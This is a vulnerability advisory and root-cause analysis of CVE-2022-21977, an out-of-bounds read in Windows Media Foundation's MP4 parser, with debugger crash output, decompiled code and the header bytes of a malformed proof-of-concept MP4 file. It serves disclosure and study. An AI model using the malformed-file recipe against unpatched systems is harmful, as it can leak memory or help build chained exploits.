CVE-2022-21977
Microsoft Media Foundation Unchecked Size Vulnerability (mfmp4srcsnk.dll)
Summary
A vulnerability is present in mfmp4srcsnk.dll
, which is part of the Microsoft Media Foundation framework. An Out-of-Bounds (OOB) read is triggered due to a an incorrect size field in a malformed ftyp
atom.
The vulnerability can be triggered by right-clicking on the file poc.mp4
in Windows Explorer with Page Heap enabled on explorer.exe
.
CVE Number
Tested Versions
Software | Version |
---|---|
Windows 10 - Media Foundation MPEG-4 Source and Sink DLL | 10.0.19041.1202 (WinBuild 19043.1288) |
Technical Details
The following analysis was done on Product Version 10.0.19041.1202 of mfmp4srcsnk.dll
.
Crash details
The crash occurs in mfmp4srcsnk.dll
:
(3640.32ec): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
mfmp4srcsnk!CQTFileTypeAtom::ParseAtom+0x12f:
00007ffc`b5c0367f 458b2f mov r13d,dword ptr [r15] ds:000002c3`872a5000=????????
0:000> k
# Child-SP RetAddr Call Site
00 000000c6`3b3ce360 00007ffc`b5c20a90 mfmp4srcsnk!CQTFileTypeAtom::ParseAtom+0x12f
01 000000c6`3b3ce3e0 00007ffc`b5c17f5e mfmp4srcsnk!CQTMovie::GetFileTypeInfo+0x1cc
02 000000c6`3b3ce4a0 00007ffc`b5c211ab mfmp4srcsnk!CMFMP4PropertyHandler::LocateHeader+0x116
03 000000c6`3b3ce590 00007ffc`b5c22ecf mfmp4srcsnk!CMFMP4PropertyHandler::LoadMetadataProvider+0x83
04 000000c6`3b3ce600 00007ffc`b5c2ab9d mfmp4srcsnk!CMFMP4PropertyHandler::InternalInitialize+0xff
05 000000c6`3b3ce6b0 00007ffc`fc573327 mfmp4srcsnk!CMFPropHandlerBase::Initialize+0x13d
06 000000c6`3b3ce730 00007ffc`fc573ba7 windows_storage!InitializeFileHandlerWithStream+0x177
07 000000c6`3b3ce800 00007ffc`fc572da5 windows_storage!CFileSysItemString::HandlerCreateInstance+0x2e3
08 000000c6`3b3ce8f0 00007ffc`fc5925bc windows_storage!CFileSysItemString::_PropertyHandlerCreateInstance+0xad
09 000000c6`3b3ce9a0 00007ffc`fc612565 windows_storage!CFileSysItemString::LoadHandler+0x1a4
0a 000000c6`3b3ceaf0 00007ffc`fc5a7f29 windows_storage!CFSFolder::LoadHandler+0xd5
0b 000000c6`3b3cee50 00007ffc`fc5a97d1 windows_storage!CFSPropertyStoreFactory::_GetFileStore+0x165
0c 000000c6`3b3cef20 00007ffc`fc5a95b2 windows_storage!CFSPropertyStoreFactory::_GetPropertyStore+0x211
0d 000000c6`3b3cf010 00007ffc`fc588da4 windows_storage!CFSPropertyStoreFactory::GetPropertyStore+0x22
0e 000000c6`3b3cf050 00007ffc`fc58a48f windows_storage!CShellItem::_GetPropertyStoreWorker+0x374
0f 000000c6`3b3cf590 00007ffd`0071a4ab windows_storage!CShellItem::GetPropertyStore+0xcf
10 000000c6`3b3cf860 00007ff7`8b3411b8 SHELL32!SHGetPropertyStoreFromParsingName+0x5b
11 000000c6`3b3cf8d0 00007ff7`8b34111b harness!fuzzme+0x38
12 000000c6`3b3cf920 00007ff7`8b3415e0 harness!wmain+0x11b
13 000000c6`3b3cfb80 00007ffc`ff7c7034 harness!fuzzme+0x460
14 000000c6`3b3cfbc0 00007ffd`00d22651 KERNEL32!BaseThreadInitThunk+0x14
15 000000c6`3b3cfbf0 00000000`00000000 ntdll!RtlUserThreadStart+0x21
0:000> !ext.heap -p -a 000002c3`872a5000
address 000002c3872a5000 found in
_DPH_HEAP_ROOT @ 2c3871c1000
in busy allocation ( DPH_HEAP_BLOCK: UserAddr UserSize - VirtAddr VirtSize)
2c3871c3820: 2c3872a4f00 100 - 2c3872a4000 2000
00007ffd00dc867b ntdll!RtlDebugAllocateHeap+0x000000000000003b
00007ffd00cfd255 ntdll!RtlpAllocateHeap+0x00000000000000f5
00007ffd00cfb44d ntdll!RtlpAllocateHeapInternal+0x0000000000000a2d
00007ffcff889d40 msvcrt!malloc+0x0000000000000070
00007ffcf6d2b247 MFPlat!operator new+0x0000000000000023
00007ffcf6d129d6 MFPlat!MFCreateMemoryBuffer+0x0000000000000056
00007ffcb5c17ef2 mfmp4srcsnk!CMFMP4PropertyHandler::LocateHeader+0x00000000000000aa
00007ffcb5c211ab mfmp4srcsnk!CMFMP4PropertyHandler::LoadMetadataProvider+0x0000000000000083
00007ffcb5c22ecf mfmp4srcsnk!CMFMP4PropertyHandler::InternalInitialize+0x00000000000000ff
00007ffcb5c2ab9d mfmp4srcsnk!CMFPropHandlerBase::Initialize+0x000000000000013d
00007ffcfc573327 windows_storage!InitializeFileHandlerWithStream+0x0000000000000177
00007ffcfc573ba7 windows_storage!CFileSysItemString::HandlerCreateInstance+0x00000000000002e3
00007ffcfc572da5 windows_storage!CFileSysItemString::_PropertyHandlerCreateInstance+0x00000000000000ad
00007ffcfc5925bc windows_storage!CFileSysItemString::LoadHandler+0x00000000000001a4
00007ffcfc612565 windows_storage!CFSFolder::LoadHandler+0x00000000000000d5
00007ffcfc5a7f29 windows_storage!CFSPropertyStoreFactory::_GetFileStore+0x0000000000000165
00007ffcfc5a97d1 windows_storage!CFSPropertyStoreFactory::_GetPropertyStore+0x0000000000000211
00007ffcfc5a95b2 windows_storage!CFSPropertyStoreFactory::GetPropertyStore+0x0000000000000022
00007ffcfc588da4 windows_storage!CShellItem::_GetPropertyStoreWorker+0x0000000000000374
00007ffcfc58a48f windows_storage!CShellItem::GetPropertyStore+0x00000000000000cf
00007ffd0071a4ab SHELL32!SHGetPropertyStoreFromParsingName+0x000000000000005b
00007ff78b3411b8 harness!fuzzme+0x0000000000000038
00007ff78b34111b harness!wmain+0x000000000000011b
00007ff78b3415e0 harness!fuzzme+0x0000000000000460
00007ffcff7c7034 KERNEL32!BaseThreadInitThunk+0x0000000000000014
00007ffd00d22651 ntdll!RtlUserThreadStart+0x0000000000000021
@r15
points to an invalid region on the heap.
A Primer on MP4 FileType atoms
As seen from here, a FileType atom usually looks like this:
00 00 00 1C | 66 74 79 70 | 4D 34 56 20 | 00 00 02 00 ....ftypM4V ....
69 73 6F 6D | 69 73 6F 32 | 61 76 63 31 | isomiso2avc1
It contains the following fields:
- Size (4 bytes) - A 32-bit size of the atom, set to
0x1c
- Atom Type (4 bytes) - Fourcc code of the atom, set to
ftyp
- Major Brand (4 bytes) - The movie file type, set to
M4V
- Minor Verion (4 bytes) - The movie file type minor version, a binary coded decimal, set to
0x200
- Compatible Brands (4 bytes each) - 4 byte strings of compatible file formats, set to
isom
,iso2
,avc1
However, as seen from this website, when size is set to 0x1
, the actual atom size is stored in the next 8 bytes after atom type, known as the extended size field. This exists to cater for atoms with a 64-bit size. For example:
00 00 00 01 | 66 74 79 70 | 00 00 00 01 FF FF FF FF ....ftyp....ÿÿÿÿ
4D 34 56 20 | 00 00 02 00 | 69 73 6F 6D | 69 73 6F 32 M4V ....isomiso2
61 76 63 31 | avc1
It contains the following fields:
- Size (4 bytes) - A 32-bit size of the atom, set to
0x1
- Atom Type (4 bytes) - Fourcc code of the atom, set to
ftyp
- Extended Size (8 bytes) - The actual 64-bit size of the atom, set to
0x1ffffffff
- Major Brand (4 bytes) - The movie file type, set to
M4V
- Minor Verion (4 bytes) - The movie file type minor version, a binary coded decimal, set to
0x200
- Compatible Brands (4 bytes each) - 4-byte strings of compatible file formats, set to
isom
,iso2
,avc1
The first 16 bytes of poc.mp4
, which has the same structure, is as shown:
00 00 00 01 | 66 74 79 70 | 00 00 00 00 00 00 00 FF
This represents a malformed FileType atom which contains the following fields:
- Size (4 bytes) - A 32-bit size of the atom, set to
0x1
- Atom Type (4 bytes) - Fourcc code of the atom, set to
ftyp
- Extended Size (8 bytes) - The actual 64-bit size of the atom, set to
0xff
240 bytes containing 0x30
are appended to poc.mp4
to fulfil the minimum valid file size of 256 bytes.
Vulnerability Analysis
At CQTMovie::GetFileTypeInfo+0x17a (mfmp4srcsnk.dll+0000000000040A3E)
, a fileTypeAtom
is created, which is a CQTFileTypeAtom
struct. Subsequently, it is then passed as arguments to CQTAtom::InitializeAtom
and CQTFileTypeAtom::ParseAtom
.
ptr = operator new(0xD0);
if ( ptr )
fileTypeAtom = CQTFileTypeAtom::CQTFileTypeAtom(ptr);
else
fileTypeAtom = 0i64;
if ( fileTypeAtom ) {
FileTypeInfo = CQTAtom::InitializeAtom(v46, 0, fileTypeAtom);
if ( FileTypeInfo < 0 ) {
// Irrelevant Code
} else {
FileTypeInfo = fileTypeAtom->vtable->CQTFileTypeAtom::ParseAtom(fileTypeAtom);
// Irrelevant Code
}
}
At CQTAtom::InitializeAtom+0x11e (mfmp4srcsnk.dll+000000000003CADE)
, atomSize
is set to 0xff
:
atomSize = _byteswap_ulong(dataBuffer[i])); // Read "size" field, atomSize = 0x1
fourcc = _byteswap_ulong(dataBuffer[i+4]); // Read "atom type" field, fourcc = "ftyp"
if ( atomSize != 1 ) // Check is skipped as atomSize == 1
goto LABEL_14;
// Irrelevant Code
atomSize = _byteswap_uint64(dataBuffer[i+8]); // Read "extended size" field, atomSize = 0xff
At CQTAtom::InitializeAtom+0x1b1 (mfmp4srcsnk.dll+000000000003CB71)
, variables atomSize
and fourcc
are assigned to the fileTypeAtom
struct for later use:
fileTypeAtom->atomSize = atomSize;
fileTypeAtom->fourcc = fourcc;
After fileTypeAtom
is initialized, it is then passed to CQTFileTypeAtom::ParseAtom
for parsing atom data.
At CQTFileTypeAtom::ParseAtom+0xc6 (mfmp4srcsnk.dll+0000000000023616)
, the code is as shown:
compatibleBrands_len = atomSize - 16; // compatibleBrands_len = 0xff - 16 = 239
atomData_ptr = this->vtable->CQTAtom::GetAtomContentsDataPtr(this); // atomData_ptr points to "Major Brand" field
CQTAtom::GetAtomContentsDataPtr
is called , which returns a pointer to the raw bytes of poc.mp4
without its size, atom type and extended size fields.
mfmp4srcsnk!CQTFileTypeAtom::ParseAtom+0xe0:
00007ffc`b5c03630 448b742440 mov r14d,dword ptr [rsp+40h] ss:000000e8`1b8fe680=000000f7
0:000> db @rax L100
0000023e`86164f10 30 30 30 30 30 30 30 30-30 30 30 30 30 30 30 30 0000000000000000
0000023e`86164f20 30 30 30 30 30 30 30 30-30 30 30 30 30 30 30 30 0000000000000000
0000023e`86164f30 30 30 30 30 30 30 30 30-30 30 30 30 30 30 30 30 0000000000000000
0000023e`86164f40 30 30 30 30 30 30 30 30-30 30 30 30 30 30 30 30 0000000000000000
0000023e`86164f50 30 30 30 30 30 30 30 30-30 30 30 30 30 30 30 30 0000000000000000
0000023e`86164f60 30 30 30 30 30 30 30 30-30 30 30 30 30 30 30 30 0000000000000000
0000023e`86164f70 30 30 30 30 30 30 30 30-30 30 30 30 30 30 30 30 0000000000000000
0000023e`86164f80 30 30 30 30 30 30 30 30-30 30 30 30 30 30 30 30 0000000000000000
0000023e`86164f90 30 30 30 30 30 30 30 30-30 30 30 30 30 30 30 30 0000000000000000
0000023e`86164fa0 30 30 30 30 30 30 30 30-30 30 30 30 30 30 30 30 0000000000000000
0000023e`86164fb0 30 30 30 30 30 30 30 30-30 30 30 30 30 30 30 30 0000000000000000
0000023e`86164fc0 30 30 30 30 30 30 30 30-30 30 30 30 30 30 30 30 0000000000000000
0000023e`86164fd0 30 30 30 30 30 30 30 30-30 30 30 30 30 30 30 30 0000000000000000
0000023e`86164fe0 30 30 30 30 30 30 30 30-30 30 30 30 30 30 30 30 0000000000000000
0000023e`86164ff0 30 30 30 30 30 30 30 30-30 30 30 30 30 30 30 30 0000000000000000
0000023e`86165000 ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? ????????????????
It then reads in the major brand and minor version fields and stores them in fileTypeAtom
struct. atomData_ptr
is then made to point at the compatible brands field by incrementing it by 2 to skip over 8 bytes:
this->majorBrand = _byteswap_ulong(*atomData_ptr);
minorVersion = atomData_ptr[1];
minorVersion = _byteswap_ulong(minorVersion);
this->minorVersion = minorVersion;
atomData_ptr += 2;
As compatible brands is stored as four character strings, data is read 4 bytes at a time from atomData_ptr
and stored into the fileTypeAtom->buf_CB
buffer in a loop:
n = compatibleBrands_len >> 2; // n = 239 >> 2 = 59
if ( n >= 0xFF ) // Check is skipped as n < 0xff
n = 0xFF;
if ( n ) {
for (i = 0; i < n; i++)
compatibleBrand_data = *atomData_ptr++;
compatibleBrand_data = _byteswap_ulong(compatibleBrand_data);
index_CB = this->index_CB;
curNo_CB = index_CB + 1;
// Irrelevant Code
this->index_CB = curNo_CB;
*&this->buf_CB[4 * index_CB] = compatibleBrand_data;
}
}
However, the compatible brands field of poc.mp4
is only 216-bytes long, which is stored in the buffer at atomData_ptr
:
0:000> g
Breakpoint 1 hit
mfmp4srcsnk!CQTFileTypeAtom::ParseAtom+0xf4:
00007ffc`b5c03640 4c8d7808 lea r15, [rax+8]
0:000> db @r15 L100
0000023e`86164f18 30 30 30 30 30 30 30 30-30 30 30 30 30 30 30 30 0000000000000000
0000023e`86164f28 30 30 30 30 30 30 30 30-30 30 30 30 30 30 30 30 0000000000000000
0000023e`86164f38 30 30 30 30 30 30 30 30-30 30 30 30 30 30 30 30 0000000000000000
0000023e`86164f48 30 30 30 30 30 30 30 30-30 30 30 30 30 30 30 30 0000000000000000
0000023e`86164f58 30 30 30 30 30 30 30 30-30 30 30 30 30 30 30 30 0000000000000000
0000023e`86164f68 30 30 30 30 30 30 30 30-30 30 30 30 30 30 30 30 0000000000000000
0000023e`86164f78 30 30 30 30 30 30 30 30-30 30 30 30 30 30 30 30 0000000000000000
0000023e`86164f88 30 30 30 30 30 30 30 30-30 30 30 30 30 30 30 30 0000000000000000
0000023e`86164f98 30 30 30 30 30 30 30 30-30 30 30 30 30 30 30 30 0000000000000000
0000023e`86164fa8 30 30 30 30 30 30 30 30-30 30 30 30 30 30 30 30 0000000000000000
0000023e`86164fb8 30 30 30 30 30 30 30 30-30 30 30 30 30 30 30 30 0000000000000000
0000023e`86164fc8 30 30 30 30 30 30 30 30-30 30 30 30 30 30 30 30 0000000000000000
0000023e`86164fd8 30 30 30 30 30 30 30 30-30 30 30 30 30 30 30 30 0000000000000000
0000023e`86164fe8 30 30 30 30 30 30 30 30-30 30 30 30 30 30 30 30 0000000000000000
0000023e`86164ff8 30 30 30 30 30 30 30 30-?? ?? ?? ?? ?? ?? ?? ?? 00000000????????
As n = 59
in the loop, the program attempts to read in 236 bytes, causing an OOB read of 20 bytes.
Conclusion
This vulnerability could lead to information disclosure of data in memory. When chained with other vulnerabilities, it could result in code execution.